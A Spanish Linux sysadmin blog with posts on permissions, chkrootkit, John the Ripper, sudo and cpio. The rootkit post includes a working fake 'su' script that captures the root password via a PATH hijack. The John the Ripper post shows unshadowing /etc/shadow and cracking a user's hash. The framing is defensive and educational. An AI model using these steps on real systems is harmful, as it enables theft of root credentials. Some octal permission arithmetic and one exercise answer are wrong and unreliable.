Páginas

domingo, 20 de junio de 2010

Permisos de acceso


El papel de un sistema operativo es también el de asegurar la integridad y el acceso a los datos. Esto es posible gracias a un sistema de permisos. A cada fichero o directorio se le asignan unos privilegios que le son propios, así como autorizaciones de acceso individuales. En el momento de intentar el acceso, el sistema comprueba si está autorizado.

Cuando el administrador crea un usuario, le asigna un UID (User Identification) único. Los usuarios quedan definidos en el fichero /etc/passwd. Cada usuario es integrado en, al menos, un grupo, que será su grupo primario. Todos éstos tienen un identificador único, el GID (Group Identification) definidos en el fichero /etc/group.

obtener esta información es posible con el comando id. A nivel interno, el sistema trabaja únicamente con los UID y GID.

gentoo@hypatia ~ $ id
uid=1000(gentoo) gid=100(users) grupos=100(users),18(audio),19(cdrom),27(video),85(usb),250(portage),1002(plugdev)

Se asocian un UID y un GID a cada fichero (inodo) que define su propietario y su grupo con privilegios. Usted asigna permisos al propietario, al grupo con privilegios y al resto de la gente. Se distinguen tres casos:

UID del usuario idéntico al UID definido para el fichero. Este usuario es propietario del fichero.
   
Los UID son diferentes: el sistema comprueba si el GID del usuario es idéntico al GID del fichero. Si es el caso, el usuario pertenece al grupo con privilegios del fichero.

En los otros casos (ninguna correspondencia): se trata del resto de la gente (others), ni es el propietario, ni un miembro del grupo con privilegios.   

drwxr-xr-x 10 gentoo users 4096 jun 13 7:32 tutoriales

En esta línea de la tabla, el directorio tutoriales pertenece al usuario gentoo y grupo users con los permisos rwxr-xr-x.

Fichero normal


r - Se puede leer el contenido, cargarlo en memoria, listarlo y copiarlo.

w - Se puede modificar el contenido del fichero. Se puede escribir dentro. Modificar el contenido no significa poder eliminar el fichero (ver permisos en directorio).

x - Se puede ejecutar el fichero desde la línea de comandos si se trata de un programa binario (compilado) o de un script (shell, perl...).

Directorio

r - Se pueden listar (leer) los elementos del directorio (catálogo). Sin esta autorización, ls y los criterios de filtro en el directorio y su contenido no serían posibles. No obstante, puede seguir accediendo a un fichero si conoce su ruta de acceso.

w - Se pueden modificar los elementos del directorio (catálogo), y es posible crear, volver a nombrar y suprimir ficheros en este directorio. Es este permiso el que controla el permiso de eliminación de un fichero.

x - Se puede acceder al catálogo por CD y se puede listar. Sin esta autorización, es imposible acceder al directorio y actuar en su contenido, que pasa a estar cerrado.

Por ejemplo, para un fichero:

rwxr-xr--

Permisos para el propietario de lectura, escritura y ejecución.
Permiso para los miembros del grupo de lectura y ejecución.
Permisos para el resto del mundo de lectura únicamente.

Modificar permisos

Cuando se crea, un fichero o un directorio dispone de permisos por defecto. El comando chmod (change mode) se utiliza para modificar los permisos en un fichero o un directorio. Existen dos métodos para modificar estos derechos: mediante símbolos o mediante un sistema octal de representación de permisos. Sólo el propietario de un fichero y el administrador del sistema puede modificar sus permisos. El parámetro -R cambia los permisos de manera recursiva.

La sintaxis es la siguiente:

chmod modificaciones file3 file2...

Para modificar los permisos del propietario, utilice el carácter u; para los permisos del grupo con permisos, el carácter g; para el resto, el carácter o, y para todos, el carácter a.

Para añadir permisos, se utiliza el carácter +; para retirarlos, el carácter -, y para no tener en cuenta los parámetros anteriores, el carácter =.

Finalmente, ponga el permiso cuyos símbolos son: r, w o x.

Puede separar las modificaciones con comas y acumular varios permisos en un mismo comando.

Si quiere suprimir todos los derechos, no especifique nada después del signo =:


gentoo@hypatia ~ $ ls -l chapter6-config
-rw-r--rwx 1 gentoo users 3257 jun 12 23:48 chapter6-config

gentoo@hypatia ~ $ chmod o= chapter6-config
gentoo@hypatia ~ $ ls -l chapter6-config
-rw-r----- 1 gentoo users 3257 jun 12 23:48 chapter6-config

Sistema octal

  r =  4
  w = 2
  x = 1

Para obtener el permiso final, basta sumar los valores. Por ejemplo, si quiere rwxrw-rw-, entonces obtiene 400+200+100+40+10+4+1=755, y para rw-r--r-- 400+200+40+4=644.

La modificación octal de los permisos no permite modificar un solo derecho. Es la totalidad de los permisos lo que se ha modificado de una sola vez.

Máscara de permisos


En el momento de la creación de un fichero o de un directorio, se les asigna unos permisos automáticamente. Suele ser rw-r--r-- (644) para un fichero y rwxr-xr-x (755) para un directorio. Una máscara de permisos controla estos valores. Se la puede modificar con el comando umask. El comando umask coge como parámetro un valor octal del cual cada permiso individual será suprimido de los derechos de acceso máximo del fichero o del directorio.

Por defecto, se crean todos los ficheros con los permisos 666 (rw-rw-rw-).
Por defecto, se crean todos los directorios con los permisos 777 (rwxrwxrwx).
Luego se aplica la máscara

La máscara es la misma para el conjunto de los ficheros.Una máscara no modifica los permisos de los ficheros existentes, sino solamente los de los ficheros creados a partir de este momento.

Los permisos por defecto (máximo) de los ficheros y de los directorios no son idénticos. Es lógico: como el permiso x permite entrar en un directorio, es normal que éste disponga de él por defecto. Este mismo permiso es inútil por defecto en los ficheros: sólo una pequeña minoría de los ficheros son scripts o binarios.

La máscara por defecto es 022, o sea ----w--w-. Para obtener este valor, inserte umask sin parámetro.

gentoo@hypatia ~ $ umask
0022

Como calcular la máscara

Para un fichero

Predeterminado  rw-rw-rw- (666)
Retirar         ----w--w- (022)
Resta           rw-r--r-- (644)

Para un directorio


Predeterminado  rwxrwxrwx (777)
Retirar         ----w--w- (022)
Resta           rwxr-xr-x (755)

Observe que aplicar una máscara no es sustraer, sino suprimir permisos de los establecidos por defecto, permiso a permiso. Por ejemplo:

Predeterminado  rw-rw-rw- (666)
Retirar         ----wxrwx (037)
Resta           rw-r----- (640)

Y no 629, lo que es imposible en sistema octal...

Cambiar de propietario y grupo

Es posible cambiar el propietario y el grupo de un fichero con la ayuda de los comandos chown (change owner) y chgrp (change group). El parámetro -R cambia la propiedad de manera recursiva.

chown usuario file1 file3...
chgrp grupo file1 file3...

Al especificar el nombre de usuario (o de grupo), el sistema comprueba primero su existencia. Usted puede especificar un UID o un GID. En este caso, el sistema no efectuará comprobación alguna.

Para los dos comandos, no se modifican los permisos anteriores ni la ubicación del fichero. Es posible modificar con un solo comando el propietario y el grupo a la vez.

chown usuario:grupo file1 file2...
chown usuario.grupo file1 file2...

Sólo root tiene el permiso de cambiar el propietario de un fichero. Pero un usuario puede cambiar el grupo de un fichero si forma parte del nuevo grupo.

gentoo@hypatia ~ $ chgrp video file1
gentoo@hypatia ~ $ ls -l file1
-rwxr-xr-x 1 gentoo video 0 mar 21 22:03 file1

SUID y SGID

Es posible establecer permisos de acceso especiales para ficheros ejecutables. Estos permisos de acceso extendidos aplicados a un comando permiten sustituir los permisos otrogados al usuario que lo inició por los permisos del propietario o del grupo de pertenencia del comando.

El ejemplo más sencillo es el programa passwd, que permite cambiar la contraseña. Si se ejecutara el comando con los permisos de un usuario clásico, passwd no podría abrir y modificar los ficheros /etc/passwd y /etc/shadow:

gentoo@hypatia ~ $ ls -l /etc/passwd
-rw-r--r-- 1 root root 1440 may 24 10:02 /etc/passwd

Puede observar que este fichero pertenece a root, y que sólo root puede escribir en él. Un usuario normal no puede leer su contenido sin interactuar. El comando passwd no debería, por lo tanto, poder modificar los ficheros. Vea los permisos del comando passwd (/bin/passwd o /usr/bin/passwd):

gentoo@hypatia ~ $ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root shadow 78208 jun 10:06 /usr/bin/passwd

Lleva asociado un nuevo permiso: s para los permisos del usuario root. Este nuevo atributo permite la ejecución del comando con permisos de acceso extendidos. Durante el tratamiento, se ejecuta el programa con los permisos del propietario del fichero o de su grupo de pertenencia. En el caso de passwd, se inicia con los permisos de root y no del usuario que lo lanzó.

El permiso s sobre el usuario se llama SUID-Bit (Set User ID Bit), y sobre el grupo, GUID-Bit (Set Group ID Bit).

El comando chmod permite ubicar SUID-Bit y GUID-Bit.

chmod u+s comando
chmod g+s comando

Los valores octales son 4000 para SUID-Bit y 2000 para GUID-Bit.

chmod 4755 comando
chmod 2755 comando

Sólo el propietario o el administrador puede activar esta propiedad. Posicionar SUID-bit o SGID-Bit tiene sentido únicamente si se han establecido los permisos de ejecución previamente (atributo x en el propietario o el grupo). Si éstos no están presentes; se sustituye la s por una S..

No se transmiten los SUID-Bit y SGID-bit a los hijos de un proceso. En este caso, se ejecutarán los hijos con los permisos del usuario que inició el comando básico, los UID reales.

Sticky bit

El sticky bit (bit pegajoso) permite asignar un criterio protector contra el borrado del contenido de un directorio. Imagine un directorio /tmp donde todos los usuarios tienen el permiso de leer y escribir ficheros.

gentoo@hypatia ~ $ ls -ld /tmp
drwxrwxrwx   6 root     system     16384 may 14 13:22 tmp

En este directorio todo el mundo puede suprimir ficheros, incluyendo los que no le pertenecen (derecho w presente en todas partes y para todos). Si el usuario gentoo crea un fichero, el usuario axel puede suprimirlo incluso aunque no le pertenezca.

El sticky bit aplicado a un directorio, impide esta operación.

gentoo@hypatia ~ $ chmod u+t /tmp
gentoo@hypatia ~ $ ls -ld /tmp
drwxrwxrwt 35 root root 77824 jun 21 12:30 /tmp

En octal, se utilizará el valor 1000 (chmod 1777 /tmp).

Aunque aplicado al usuario, el sticky bit, representado por una t, aparece en el grupo de permisos de others.

Permisos y directorio

Si usted da el permiso al grupo en un directorio, todos los ficheros creados dentro de este directorio serán del mismo grupo que este directorio, sea cual sea el grupo de la persona que crea este fichero.

gentoo@hypatia ~ $ mkdir dir
gentoo@hypatia ~ $ chmod 770 dir
gentoo@hypatia ~ $ ls -ld dir
drwxrwx--- 2 gentoo users 4096 jun 21 13:36 dir
gentoo@hypatia ~ $ chgrp video dir
gentoo@hypatia ~ $ chmod g+s dir
gentoo@hypatia ~ $ ls -ld dir
drwxrws--- 2 gentoo video 4096 jun 21 13:37 dir
gentoo@hypatia ~ $ cd dir
gentoo@hypatia ~ $ touch test
gentoo@hypatia ~ $ ls -l test
-rw-r--r-- 1 gentoo video 0 jun 21 13:37 test

Algunos ejercicios:

Supongamos un fichero del que es propietario llamado notas, ha retirado a los miembros del grupo y otros todos los permisos sobre él, y el directorio que lo contiene dispone del permiso w para los miembros del grupo. ¿Quién puede suprimir su fichero?

Usted y los miembros del grupo del directorio. El permiso de escritura en el directorio es el que autoriza a las personas a modificar su contenido.

Con chmod, ¿cuáles son los parámetros que se deben colocar para suprimir los permisos de escritura a los demás, dar el permiso de lectura y ejecución a los miembros del grupo y todos los permisos a usted?

u=rwx,g=rw,o-w.
Quiere crear un directorio donde todo el mundo pueda escribir ficheros, donde todos los ficheros tengan el mismo grupo, pero donde nadie pueda suprimir los ficheros de los demás. ¿Cuáles deben ser los derechos?

rwxrwsrwt, o sea, 3777 en octal.

Linux es genial

domingo, 2 de mayo de 2010

Buscar rootkits

Chkrootkit

rootkit es una herramienta, o un grupo de ellas que tiene como finalidad esconderse a sí misma y esconder otros programas, procesos, archivos, directorios, y puertos que permiten al intruso mantener el acceso a un sistema, para remotamente comandar acciones o extraer información sensible, a menudo con fines maliciosos o destructivos.

Buscar rootkits
Después de que un pirata informático no autorizado haya conseguido penetrar en una máquina, por una contraseña muy sencilla o por un fallo, con toda seguridad intentará instalar una puerta trasera o backdoor, con la finalidad de utilizar su máquina con dudosos propositos, llevarse o almacenar datos.

Acaparar los derechos de root no implica necesariamente teclear directamente en esta cuenta. Lo habitual es conectarse como usuario normal y pasar a root utilizando su. Un servicio ftp mal configurado puede hacer posible la conexión y desplegando a continuación un script llamado su, modifica el PATH por defecto poniendo así la ruta del script, lo demás será muy fácil.

gentoo ~$ pwd
/home/gentoo

gentoo ~$ vim su
#!/bin/bash
echo -e "Contraseña :\c"
read -s password
echo "$@ $password" > /home/gentoo/file
echo
echo "su: Password incorrecto."
/bin/su $@
## Fin del archivo####

gentoo ~$ chmod +x su
gentoo ~$ export PATH=$HOME
gentoo ~$ su - root
Contraseña: (falso su)
su: Password incorrecto. (falso su)
Contraseña: (su verdadero)

La contraseña de root esta en el fichero file1
gentoo ~$ cat file1
 rino4Zrcat

su solo pide la contraseña una vez, el engaño salta a la vista.

La herramienta chkrootkit es una sencilla herraminta que permite buscar la presencia de los más conocidos y habituales rootkits. Su eficacia depende de mantenerla actualizada y ejecutarla con regularidad.

xena@gentoo # chkrootkit
xena tmp # cat rootkit
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `crontab'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
Checking `echo'... not infected
Checking `egrep'... not infected
Checking `env'... not infected
Checking `find'... not infected
Checking `fingerd'... not infected
Checking `gpm'... not infected
Checking `grep'... not infected
Checking `hdparm'... not infected
Checking `su'... not infected
Checking `ifconfig'... not infected
Checking `inetd'... not tested
Checking `inetdconf'... not found
Checking `identd'... not found
Checking `init'... not infected
Checking `killall'... not infected
Checking `ldsopreload'... not infected
Checking `login'... not infected
Checking `ls'... not infected
Checking `lsof'... not infected
Checking `mail'... not found
Checking `mingetty'... not found
Checking `netstat'... not infected
Checking `named'... not found
Checking `passwd'... not infected
Checking `pidof'... not infected
Checking `pop2'... not found
Checking `pop3'... not found
Checking `ps'... not infected
Checking `pstree'... not infected
Checking `rpcinfo'... not infected
Checking `rlogind'... not found
Checking `rshd'... not found
Checking `slogin'... not infected
Checking `sendmail'... not infected
Checking `sshd'... not infected
Checking `syslogd'... not tested
Checking `tar'... not infected
Checking `tcpd'... not infected
Checking `tcpdump'... not infected
Checking `top'... not infected
Checking `telnetd'... not found
Checking `timed'... not found
Checking `traceroute'... not infected
Checking `vdir'... not infected
Checking `w'... not infected
Checking `write'... not infected
Checking `aliens'... no suspect files
Searching for sniffer's logs, it may take a while... nothing found
Searching for HiDrootkit's default dir... nothing found
Searching for t0rn's default files and dirs... nothing found
Searching for t0rn's v8 defaults... nothing found
Searching for Lion Worm default files and dirs... nothing found
Searching for RSHA's default files and dir... nothing found
Searching for RH-Sharpe's default files... nothing found
Searching for Ambient's rootkit (ark) default files and dirs... nothing found
Searching for suspicious files and dirs, it may take a while... nothing found
Searching for LPD Worm files and dirs... nothing found
Searching for Ramen Worm files and dirs... nothing found
Searching for Maniac files and dirs... nothing found
Searching for RK17 files and dirs... nothing found
Searching for Ducoci rootkit... nothing found
Searching for Adore Worm... nothing found
Searching for ShitC Worm... nothing found
Searching for Omega Worm... nothing found
Searching for Sadmind/IIS Worm... nothing found
Searching for MonKit... nothing found
Searching for Showtee... nothing found
Searching for OpticKit... nothing found
Searching for T.R.K... nothing found
Searching for Mithra... nothing found
Searching for LOC rootkit... nothing found
Searching for Romanian rootkit... nothing found
Searching for Suckit rootkit... nothing found
Searching for Volc rootkit... nothing found
Searching for Gold2 rootkit... nothing found
Searching for TC2 Worm default files and dirs... nothing found
Searching for Anonoying rootkit default files and dirs... nothing found
Searching for ZK rootkit default files and dirs... nothing found
Searching for ShKit rootkit default files and dirs... nothing found
Searching for AjaKit rootkit default files and dirs... nothing found
Searching for zaRwT rootkit default files and dirs... nothing found
Searching for Madalin rootkit default files... nothing found
Searching for Fu rootkit default files... nothing found
Searching for ESRK rootkit default files... nothing found
Searching for rootedoor... nothing found
Searching for ENYELKM rootkit default files... nothing found
Searching for common ssh-scanners default files... nothing found
Searching for suspect PHP files... nothing found
Searching for anomalies in shell history files... nothing found
Checking `asp'... not infected
Checking `bindshell'... not infected
Checking `lkm'... chkproc: nothing detected
chkdirs: nothing detected
Checking `rexedcs'... not found
Checking `sniffer'... wlan0: PF_PACKET(/usr/sbin/wpa_supplicant)
Checking `w55808'... not infected
Checking `wted'... chkwtmp: nothing deleted
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... chklastlog: nothing deleted
Checking `chkutmp'...  The tty of the following user process(es) were not found
 in /var/run/utmp !
! RUID          PID TTY    CMD
! gentoo      15905 tty5   /usr/bin/X -nolisten tcp
chkutmp: nothing deleted

Automatizar utilizando cron.

Se ejutará cada día a las 3:00 am y enviará por emal el resultado.
Cree un fichero rootkit_cron en /etc/cron.d con la siguiente línea:

0  3  *  *  *    /usr/sbin/chkrootkit  |  mail  usuario@servidor -s "Resultado busqueda rootkit de fecha $(date)" 

Si prefiere enviarlo a un fichero:
0  3  *  *  *  /usr/sbin/chkrootkit  >  /tmp/rootkit

Alerta! en su distro la ruta a chkrootkit puede ser diferente.

Activar :
# crontab rootkit_cron

Listar las crontabs activas del usuario root:
# crontab -u root -l
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (rootkit_cron installed on Sun May  2 17:39:17 2010)
# (Cron version V5.0 -- $Id: crontab.c,v 1.12 2004/01/23 18:56:42 vixie Exp $)
0  3  *  *  *  /usr/sbin/chkrootkit > /tmp/rootkit

Linux es genial.

sábado, 1 de mayo de 2010

John the Ripper

John the Ripper es un programa que permite averiguar (comprobar la fortaleza) las contraseñas de los usuarios de diferentes sistemas.

Sin embargo, las últimas versiones de la mayoría de distribuciones GNU-Linux utilizan sha-512 como sistema de encriptación de claves. Cada vez que queremos conocer las contraseñas nos encontramos con el siguiente mensaje de error:

"No password hashes loaded".

Las pruebas están realizadas con Gentoo pero el método para compilar John the Ripper sirve para cualquier otra distribución GNU/Linux.

Descargar el programa y el parche de la página de openwall:

$ wget http://www.openwall.com/john/g/john-1.7.3.4.tar.gz
$ wget http://openwall.info/wiki/_media/john/john-1.7.3.1-generic-crypt-1.diff.gz




Descomprimir:
# tar xvzf john-1.7.3.4.tar.gz

Las rutas en mi caso se entenderán mejor con un ls:
john #
ls -l
total 812
drwx------ 5 root root 4096 sep 20 2009 john-1.7.3.4
-rw-r--r-- 1 root root 816259 sep 20 2009 john-1.7.3.4.tar.gz
drwxr-xr-x 2 root root 4096 sep 1 11:14 parche

Entrar al directorio del programa:
# cd john-1.7.3.4

Aplicar el parche:
# gzip -dc ../parche/john-1.7.3.1-generic-crypt-1.diff.gz | patch -p1
 patching file src/Makefile
 patching file src/crypt_fmt.c
 patching file src/john.c
 Hunk #2 succeeded at 67 (offset 2 lines).

El directorio donde se encuentra el código fuente para es src:



# cd src
# make

Con make obtendrá una lista de los sistemas soportados, luego:
# make linux-x86-64



Si el sistema no esta en la lista:

# make clean generic
 rm -f ../run/unshadow
 ln -s john ../run/unshadow
 rm -f ../run/unafs
 ln -s john ../run/unafs
 rm -f ../run/unique
 ln -s john ../run/unique
 
Pruebas de detección de correcto funcionamiento.
# cd ../run
# ./john --test

Benchmarking: Traditional DES [64/64 BS]... DONE
Many salts:    913784 c/s real, 913784 c/s virtual
Only one salt:    841378 c/s real, 842223 c/s virtual

Benchmarking: BSDI DES (x725) [64/64 BS]... DONE
Many salts:    26526 c/s real, 26553 c/s virtual
Only one salt:    26254 c/s real, 26306 c/s virtual

Benchmarking: FreeBSD MD5 [32/64 X2]... DONE
Raw:    8521 c/s real, 8521 c/s virtual

Benchmarking: OpenBSD Blowfish (x32) [32/64 X2]... DONE
Raw:    516 c/s real, 515 c/s virtual

Benchmarking: Kerberos AFS DES [48/64 4K]... DONE
Short:    284132 c/s real, 284132 c/s virtual
Long:    856828 c/s real, 855954 c/s virtual

Benchmarking: LM DES [64/64 BS]... DONE
Raw:    8264K c/s real, 8274K c/s virtual

Benchmarking: generic crypt(3) [?/64]... DONE
Many salts:    178329 c/s real, 178026 c/s virtual
Only one salt:    175640 c/s real, 175640 c/s virtual



Hay que combinar los arhivos /etc/passwd y /etc/shadow con el comando unshadow (como root):
# ./unshadow /etc/passwd /etc/shadow > /home/gentoo/passwords

John probará la fortaleza de la contraseña del usuario donna:

hypatia run # ./john -i -u=1001 /home/gentoo/passwords
Loaded 1 password hash (generic crypt(3) [?/64])
asdfgh           (donna)
guesses: 1  time: 0:00:00:19  c/s: 169  trying: asdfgh

El fichero john.pot contiene los resultados encontrados por john. El fichero no está vacío y esto significa que john ha encontrado la contraseña. El fichero john.rec contiene el estado actual de la búsqueda por si se produce una interrupción y es utilizado por el programa para reanudar la búsqueda.

En una máquina x86_64 Intel(R) Core(TM)2 Duo CPU T5750 @ 2.00GHz fue crackeada la contraseña de nuestro usuario de prueba, donna, en 0.19 segundos.

hypatia run # cat john.pot
$6$Y/SXCZE5$Syxi6qEVLjUecqF449kNy9PISVodOpi1BEwRwkIFn7WsrXTQML7kWLP37j3aDu5qJGoY4seTc0aegKf5fb/Xl1:asdfgh



# ls -l
total 1556
-rw------- 1 root root 341064 dic 16  2005 all.chr
-rw------- 1 root root 232158 dic 16  2005 alnum.chr
-rw------- 1 root root 131549 dic 16  2005 alpha.chr
-rw------- 1 root root  40391 dic 16  2005 digits.chr
-rwxr-xr-x 1 root root 211568 abr 28 13:40 john
-rw------- 1 root root  19988 sep  9  2009 john.conf
-rw------- 1 root root 324629 abr 30 15:14 john.log
-rw------- 1 root root    104 abr 28 13:56 john.pot
-rw------- 1 root root    156 abr 30 15:14 john.rec
-rw------- 1 root root 215982 dic 16  2005 lanman.chr
-rwx------ 1 root root    785 abr 10  2002 mailer
-rw------- 1 root root  22346 dic 16  2005 password.lst
lrwxrwxrwx 1 root root      4 abr 28 13:40 unafs -> john
lrwxrwxrwx 1 root root      4 abr 28 13:40 unique -> john
lrwxrwxrwx 1 root root      4 abr 28 13:40 unshadow -> john

Los módulos PAM influyen en la política de gestión de las contraseñas, obligando en algunos casos a elegir una más o menos compleja.
Las contraseñas se puden recordar por medios mnemotécnicos (La nemotecnia o mnemotecnia es el procedimiento de asociación de ideas, esquemas, ejercicios sistemáticos, repeticiones, etc. para facilitar el recuerdo de algo.  pwgen es un generador de contraseñas.

$ pwgen
uash6She lohJo7ae Ohphab3i ouRik9ie uM4va3im Neer7Eit eib3Hauy xo9Iuy5p
ahSiW0uf AhG6wail Yai6neeh phae4ioV deeL3aip Uz5ahzaa aiV5phee Aegaiy7x
ioPh1ahn Ong6Baib Eish4rip eik9Gie1 ien3Iepe xohduj7U aiP2keov So5ovaht
Voh9oxoe ahs2Meeg Ooch5xix Phe3yiuz eeCa5ohv aig9Ai3o Go4Ateeh Hee6thei
Rai6Daeh aid8ieNg Thah6ien daphaiG0 Iefai5oh Pheife6i Poora8ah Coh5Aida
ViC7ieth hohG5sei Aa9Jeilu eopoX8Si jooh3Eif dooPhai1 chohqu1G ieNgae3o
wiCeiSi3 aej6Piev eoTha1Fu ieR2yeeb Eireili6 saiGhie2 XohRoo1a cahb2Yah
Guungah0 ube3vo0D oshol3Op Pui6agh5 Ao7baeN1 foTek9Ei aeM3lala Ene2baol
geloV9ai Weeyu2ie Uvae2Vie dei0euL7 Xee9uaza ed8Eeghu eebiu2Ka zey0Liuh
be6Ailoi eiph8Ohb Yahpahr4 aij4dahG oQu2chae Fe5eeg9c Hoosh6oh Iip8eiwe
AuPie0um Ahxai9eo Dae5oquu Ie7Viek8 pa2aew8B fohham7A fah1Oogi ieH9vee8
saeC8sha Aejeey6i Eithoow1 yi9vei0L ohC7eegh IaTh4ohn ti6Fooxe Oiche7oh
Tah9uos7 Paej2Iec chuiD8ei aicoGh5l saiKeiw2 mae9mieY Ais9oanu Mah9xej3
Zi2nacai gaiM4thi sapa1Fah kie8oZo7 Po5uuho8 thae3Aim Ohjahgh9 Weike8ra
Cah4weiZ teoji0Oo vi0hei6O Zieha3ai Keip2bie bahR7bah ahSai0Ei afoh3Thi
eeNieTh8 Zei7eth8 uV5eichi kue1Eedi sueThe0V wohChe2u Ohl1zicu Loo1soo3
yahb9uSi EelieGh1 aeMiThi1 OoFoh8wu Ieyei5ka Roph7ape uem5quuK ahQu7eec
NahSha6A kooMou0y gu1chaiJ hae2ku0Z uC3oeNgo xuSha7qu Iucai0fu uK4icewe
eP7aetig ahYai0ee Eetahfu8 yeep0oPi Veimaij3 Oht0aiPh buTh9oob ood4nieC
sah7Ahj1 koozah0J Vieb9Bit eeP9nee1 ea1SohCe Afei4ohS eikahk0W rachoG4c

Puede pedir que se generen contraseñas totalmente aleatorias con una longitud dada. Por ejemplo 9 carácteres:

hypatia run # pwgen -s -1 9
HK8vef07r

Linux es genial!

lunes, 26 de abril de 2010

Sudo

Otorgar privilegios extendidos
El comando sudo permite asignar el derecho a ejecutar comandos de administrador a uno o varios usuarios y en una o varias máquinas. Para que un usuario pueda ejecutar un comando que sólo puede ejecutar root, se añade un derecho sudo a este usuario para este comando.

El fichero de configuración /etc/sudoers se edita con el comando visudo, además comprueba la sintaxis del fichero antes de guardarlo.

La sintaxis es la siguiente:

user maquina = (cuenta_user_ejecuta_comando) comando

De manera que para
autorizar al usuario gentoo a ejecutar el comando tune2fs y sus parámetros con derechos root sobre cualquier máquina (donde esté presente esta regla):

gentoo ALL = /sbin/tune2fs

 Se pide la contraseña del usuario y prosigue. La lista de los derechos del usuario se obtiene:

gentoo@syslinux:~$ sudo -l
[sudo] password for gentoo:
User gentoo may run the following commands on this host:
    (root) /sbin/tune2fs

Los mensajes de sudo se transmiten a syslog que puede dirigirlos a un fichero, por ejemplo, /var/log/messages. El registro de destino se puede determinar mediante syslog.conf.

Es posible crear:

  • grupos de usuarios
  • grupos de máquinas
  • grupos de comandos
  • obligar o no el uso de password
  • forzar la ejecución de un comando a usuario distinto de root.
El nombre de los grupos es alias

Alias de usuarios:
Usar_Alias    ADMIN = gentoo, slack

Si la totalidad de administradores deben poder usar el comando tune2fs:
ADMIN      ALL = /sbin/tune2fs

Si los administradores pueden ejecutar sólo en determinadas máquinas utilice el alias de máquinas:
Host_Alias SERVLINUX = syslinux, xena

Se convierte en:
ADMIN      SERVERLINUX = /sbin/tune2fs

Existe la posibilidad de agregar varios comandos con o sín parámetros, por ejemplo, si los ADMIN además pueden ejecutar el comando /sbin/fdisk quedaría como sigue:
ADMIN       SERVERLINUX = /sbin/tune2fs, /sbin/fdisk

Se pueden crear alias de comandos de manera que faciliten la utilización:
Cmnd_Alias   CMDADMIN=/sbin/tune2fs, /sbin/fdisk

Siguiendo con nuestro ejemplo, la línea sudo quedaría:
ADMIN      SERVERLINUX=CMDADMIN

Evitar la introducción del password de uno o varios usuario(s) pasa por utilizar NOPASSWD, así los usuarios del alias ADMIN están exonerados de introducir contraseña para utilizar los comandos del alias CMDADMIN:

ADMIN       SERVERLINUX=NOPASSWD:   CMDADMIN

Obligar al uso de una contraseña también es posible con PASSWD:
ADMIN      SERVERLINUX=NOPASSWD:    CMDADMIN,  \ PASSWD:/sbin/fdisk

A los usuarios del grupo ADMIN podrán iniciar un comando con la identidad de otro usuario distinto de root colocando el alias entre paréntesis:
ADMIN      ALL=(sonia)  PASSWD: /sbin/service

Los usuarios del grupo ADMIN podrán ejecutar el comando /sbin/service. Como condición tendrán que introducir la contraseña de sonia:
gentoo@syslinux:~$ sudo -u sonia /sbin/services

Puede precisar varios usuarios o crear alias:
Runas_Alias       USERLIST=gentoo,sonia

Quedaría asi:
ADMIN      ALL=(USERLIST)    PASSWD: /sbin/service

El alias ALL define conjunto de usuarios, máquinas, comandos, dependiendo del lugar donde esté escrito.

A los usuarios del grupo ADMIN les está permitido ejecutar todos los comandos, en todas las máquinas sin introducir contraseña.
:
ADMIN      ALL=NOPASSWD:    ALL

Para excluir determinados usuarios, comandos, máquinas, de un alias o lista se utiliza el signo de exclamación:
ADMIN       SERVERLINUX=NOPASSWD:   ALL,  !/sbin/fdisk,   PASSWD:/sbin/tune2fs

La línea anterior da a los ADMIN todos los derechos sobre todos los programas sin contraseña excepto /sbin/tune2fs que requier contraseña y /sbin/fdisk que está prohibido.


Linux es genial.

miércoles, 21 de abril de 2010

Comando cpio


cpio es el nombre de una utilidad binaria creada inicialmente para el almacenamiento de copias de seguridad en cintas magnéticas de forma contigua. Hace una copia de seguridad sobre la salida standard de los
ficheros cuyos nombres están insertados en la entrada standard, por tanto, es posible utilizar las redirecciones. No comprime los archivos.
  • -o output creación de la copia de seguiridad en salida
  • -L copia los archivos y no los vínculos simbólicos.
  • -v información detallada
  • -c copia atributos de los ficheros en forma ASCII para el intercambio entre varios Sistemas operativos.
Archivar y comprimir el  directorio xtecat:
gentoo ~ $ find xtecat -print | cpio -ocv | gzip > xtecat.cpio.gz
xtecat
xtecat/net-win
xtecat/netcat.txt
xtecat/traceroute
xtecat/192.168.1.1
xtecat/xtecat
xtecat/nudge.txt
xtecat/whois.txt
xtecat/nmap
xtecat/xte

la sintaxis para listar:

cpio -it nombrearchivo

 -i lectura del archivo en entrada
 -t lista el contenido del archivo

gentoo ~ $ cat xtecat.cpio.gz | gzip -cd | cpio -it
xtecat
xtecat/net-win
xtecat/netcat.txt
xtecat/traceroute
xtecat/192.168.1.1
xtecat/xtecat
xtecat/nudge.txt
xtecat/whois.txt
xtecat/nmap
xtecat/xtecports
37 blocks

La sintaxis general para restaurar:

cpio -i[umd]
  • -u restauración incondicional, borra los ficheros existentes. No se restauran los ficheros si los que están presentes en el disco tienen como fecha de última modificación la misma o posterior.
  • -m los ficheros restaurados conservan su última ficha de modificación 
  • -d cpio reconstruye el árbol de directorios y subdirectorios que faltan.
gentoo ~ $ cat xtecat.cpio.gz | gzip -cd | cpio -iuvd
xtecat
xtecat/net-win
xtecat/netcat.txt
xtecat/traceroute
xtecat/192.168.1.1
xtecat/xtecat
xtecat/nudge.txt
xtecat/whois.txt
xtecat/nmap
xtecat/xtecports
37 blocks

Linux es genial.